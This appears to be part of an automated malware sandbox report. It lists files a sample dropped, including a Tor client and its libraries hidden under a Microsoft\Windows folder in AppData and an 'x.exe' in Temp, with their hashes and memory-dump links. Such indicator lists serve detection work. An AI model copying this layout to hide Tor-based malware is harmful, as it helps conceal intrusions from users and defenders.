SHA512 894510d39a044a37325d73b8348860960b3a78c54e7cdf81357f4b50e8dcf5d47ab98c768e6439949ba835802b2a5e98314441127d9655b027caf246e09e013d
MD5 SHA1 SHA512

Submit Download

libcrypto-1_1-x64.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libcrypto-1_1-x64.dll
Size 3.4MB
SHA256 af682ad107cf0e9d9f11adeaf88f817610988b56577c4020897debc0f98e26ff
MD5 791a48e7cf84ec1532d20127556f6300
SHA1 774f71e595cfc7e24dc941839566bc9edd9156c5
SHA512 ecbb4a07bb68fec5258be0adc91b89d179b5668bbab3be3bd72d5339f8bf3b32a1860b38693a304029fe989bd92adb020cf755f673b1e59966dfc75e4f958cfa
SSDEEP 98304:NKKKpx1T+UgptKpJEoVQ3ntevKONU1CPwDv3uFfJcFxfarop5mzeG0MCv13uFnCT:NKPYtKZvxU1CPwDv3uFfJq2dCv13uFni
MD5 SHA1 SHA512 SSDEEP

Submit Download

libevent-2-1-7.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libevent-2-1-7.dll
Size 974KB
SHA256 98d06628e3d9c8097d239722e83ad78eb0b41b1e2f54d50a500da6d9292ff747
MD5 be51ba4bea2d731dacf974c43941e457
SHA1 51fc479fd8ee9a2b72e6aa020ce5bb1c7a28f621
SHA512 6184accd206aa466278c2f4b514fd5c85820d47cf3a148904e93927621ac386890e657f09547b694c32ef23c355ae738b7c7d039fcd6c791529198c7b0b6bd1e
SSDEEP 24576:F1xKMQXFD5xLbFQ1rIqt88wa3HwfVpwMt4YoQEec:FWMQF9x/FQ1rIqt88h3HwfVpwMtvoQE9
MD5 SHA1 SHA512 SSDEEP

Submit Download

tor.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
Size 4.3MB
SHA256 7052619814a614a1b157c5c94a92dbec22b425a0977ac8b21958b8db81e2dd65
MD5 9f2d86da7d58a70b0003307d9cfc2438
SHA1 bd69ad6ea837e309232d7c4fd0e87e22c3266ac5
SHA512 ce345ff77d8043f416a04b782be8e7b0d5fdea933f3ac79abb88648a9fca23d7a69f537a825d0b636ba64f80afe70f758114ddbf412bd9398800ba4b6e359a99
SSDEEP 49152:ra35tY5FhBfpjB6SkKeW/nrN9itixC5QV9h1y6+jF2/Tsq7r/I8wKeKmCwjE34dg:rtfTwoS5GwK8QQI05wb7KN
MD5 SHA1 SHA512 SSDEEP

Submit Download

x.exe

Path \Users\Admin\AppData\Local\Temp\x.exe
Size 18.1MB
SHA256 41686ad9f581037f44b72b37f8bee562512854fc6807c5a13ea1646cdeab61c8
MD5 efcd72ad2d3430248a68e5f960ed5e2b
SHA1 58cc7d2732f401b99926211c0dab319dfc0bba1a
SHA512 d50dd3628e0ed5b6040545e1a1836ffcdde30c4748b220efb7df29aa139b22b814d2466d6808c8dc3af765b9ce8092582720f69187a6562eefd6fca4cb9670e5
SSDEEP 393216:CyBCMSC2S2ExW7Xn7U4pFbTuPEr1ot7tZNH4wU4UFXu1I9EpS:XBCMcmY7XnhFuPG1otRZNpJgB+
MD5 SHA1 SHA512 SSDEEP

Submit Download

libssl-1_1-x64.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssl-1_1-x64.dll
Size 965KB
SHA256 38200438cf0c9c20d17e5b9030d2ad2e4a1b6b9dc41c287bc603dd50d22e67bb
MD5 7847c7b13b3414e8e7652880b4609205
SHA1 930670acc16157f56aaf69423e5d7705441764ba
SHA512 c3c81dc3eb546c40b3606338deadbd63331659645dd24b5fd0d4fb3170b053fef528ee3fe005c9446176a5c049e9412ea8193ad2f8b9a7301ff67b088f1bbb6e
SSDEEP 24576:XeUyCrBvZMUnrrfTglMgIcKsW+3fu1UYafFGx8hw3kQfj++pgkjQWyf6NUhsZHQG:uUyClvZLnrrfTglIcKSPu1UYafFGx8hM
MD5 SHA1 SHA512 SSDEEP

Submit Download

libssp-0.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libssp-0.dll
Size 313KB
SHA256 c6dca12e0e896df5f9b2db7a502a50d80d4fb014d7ec2f2ceb897b1a81f46ead
MD5 97d89dec5f6a236b6832a5f3f43ab625
SHA1 18f2696a3bf4d19cac3b677d58ff5e51bf54b9e8
SHA512 7e82d1e37dc822a67e08bd1d624d5492f5813a33ec64f13d22caef9db35ebb9bb9913582289ebdecad00e6b6148d750ae0b4437364ef056d732734255498be54
SSDEEP 6144:22rpBeu998y2hawOY+AbeF6quseWUGEZwi2QSs1WqYGK5Gp35XdL:1F0i8VIwUZHNln5s4G7XdL
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\libwinpthread-1.dll
Size 608KB
SHA256 27b857131977106c4a71ce626225d52a3d6e2932cb6243cb83e47b8d592d0d4f
MD5 624304f2ba253b33c265ff2738a10eb9
SHA1 5a337e49dd07f0b6f7fc6341755dc9a298e8b220
SHA512 163820961a64b3fda33969cbb320aa743edc7a6bacebe033054c942e7a1d063f096290a59fad1569c607666429e2f3133fcfe31ef37649f9da71b453ef775e5a
SSDEEP 12288:9Hxim3YVFMcqlMaNp0ONkRdNhHdrz8VHwziAEtIUuUYWTh4x:9Hxim3YVFMcqlMaNp0ONkRdNhHdrz8pQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

zlib1.dll

Path \Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\zlib1.dll
Size 107KB
SHA256 da9185e45fdcbee17fcd9292979b20f32aa4c82bc2cb356b4c7278029e247557
MD5 d490b6c224e332a706dd3cd210f32aa8
SHA1 1f0769e1fffddac3d14eb79f16508cb6cc272347
SHA512 43ce8d4ee07d437aaca3f345af129ff5401f1f08b1292d1e320096ba41e2529f41ce9105e3901cb4ecb1e8fde12c9298819961b0e6896c69b62f5983df9b0da3
SSDEEP 1536:5C/8JFzdu69Jvxy/A38icHRk9tWvIcDusp0nToIf/iIOnIOGjzk:5c8JFzv9lxF38tvuspYTBf/AJGvk
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1236-3530-0x0000000000110000-0x0000000000C21000-memory.dmp

Download

memory/1236-3595-0x00000000030C0000-0x00000000030E0000-memory.dmp

Download

memory/1236-3534-0x0000000002F40000-0x0000000002F60000-memory.dmp

Download

memory/1236-3536-0x0000000002FE0000-0x0000000003000000-memory.dmp

Download

memory/1236-3538-0x0000000003000000-0x0000000003020000-memory.dmp

Download

memory/1236-3539-0x00000000030A0000-0x00000000030C0000-memory.dmp

Download

memory/1236-3541-0x00000000030C0000-0x00000000030E0000-memory.dmp

Download

memory/1236-3563-0x0000000002AF0000-0x0000000002B10000-memory.dmp

Download

memory/1236-3560-0x0000000000110000-0x0000000000C21000-memory.dmp

Download

memory/1236-3531-0x0000000002AF0000-0x0000000002B10000-memory.dmp

Download

memory/1236-3592-0x00000000030A0000-0x00000000030C0000-memory.dmp

Download

memory/1236-3578-0x0000000003000000-0x0000000003020000-memory.dmp

Download

memory/1236-3576-0x0000000002FE0000-0x0000000003000000-memory.dmp

Download

memory/1236-3574-0x0000000002F40000-0x0000000002F60000-memory.dmp

Download

memory/1256-142-0x00000000004D0000-0x00000000005F3000-memory.dmp

Download

memory/1256-163-0x00000000004D0000-0x00000000005F3000-memory.dmp

Download

memory/1256-132-0x00000000004D0000-0x00000000005F3000-memory.dmp

Download

memory/1256-134-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

Download

memory/1256-140-0x00000000004D0000-0x00000000005F3000-memory.dmp

Download

memory/1256-136-0x00000000004D0000-0x00000000005F3000-memory.dmp

Download

memory/1908-230-0x0000000000340000-0x00000000007A1000-memory.dmp

Download

memory/1908-264-0x0000000000340000-0x00000000007A1000-memory.dmp

Download

memory/1908-252-0x0000000000340000-0x00000000007A1000-memory.dmp

Download

memory/1908-242-0x0000000000340000-0x00000000007A1000-memory.dmp

Download

memory/1908-213-0x0000000000340000-0x00000000007A1000-memory.dmp

Download

memory/1908-198-0x0000000000340000-0x00000000007A1000-memory.dmp

Download

memory/1908-199-0x0000000074FB0000-0x0000000075093000-memory.dmp

Download

memory/1908-200-0x0000000075290000-0x00000000752E4000-memory.dmp

Download

memory/1908-202-0x0000000073540000-0x000000007382D000-memory.dmp

Download

memory/1908-201-0x0000000073D80000-0x0000000073E18000-memory.dmp

Download

memory/1908-203-0x0000000073AE0000-0x0000000073BB3000-memory.dmp

Download

memory/1908-204-0x0000000075260000-0x0000000075283000-memory.dmp

Download

memory/1912-56-0x0000000000370000-0x0000000001596000-memory.dmp

Download

memory/1912-97-0x0000000000370000-0x0000000001596000-memory.dmp

Download

memory/1912-109-0x00000000002C0000-0x00000000002C1000-memory.dmp

Download

memory/1912-57-0x0000000000370000-0x0000000001596000-memory.dmp

Download

memory/1912-118-0x0000000000370000-0x0000000001596000-memory.dmp

Download

memory/1912-110-0x00000000002D0000-0x00000000002D1000-memory.dmp

Download

memory/1912-111-0x00000000019E0000-0x00000000019E1000-memory.dmp

Download

memory/2220-3475-0x00000000004F0000-0x0000000000613000-memory.dmp

Download

memory/2616-113-0x0000000073270000-0x000000007381B000-memory.dmp

Download

memory/2616-41-0x0000000073270000-0x000000007381B000-memory.dmp

Download

memory/2616-42-0x0000000073270000-0x000000007381B000-memory.dmp

Download

memory/2616-48-0x00000000027D0000-0x0000000002810000-memory.dmp

Download

memory/2616-47-0x00000000027D0000-0x0000000002810000-memory.dmp

Download

memory/2616-49-0x00000000027D0000-0x0000000002810000-memory.dmp

Download

memory/2624-73-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/2624-187-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/2624-59-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/2624-167-0x00000000024F0000-0x00000000054F0000-memory.dmp

Download

memory/2624-77-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/2624-114-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/2624-93-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/2624-31-0x00000000024F0000-0x00000000054F0000-memory.dmp

Download

memory/3032-55-0x000000001CB60000-0x000000001DD86000-memory.dmp

Download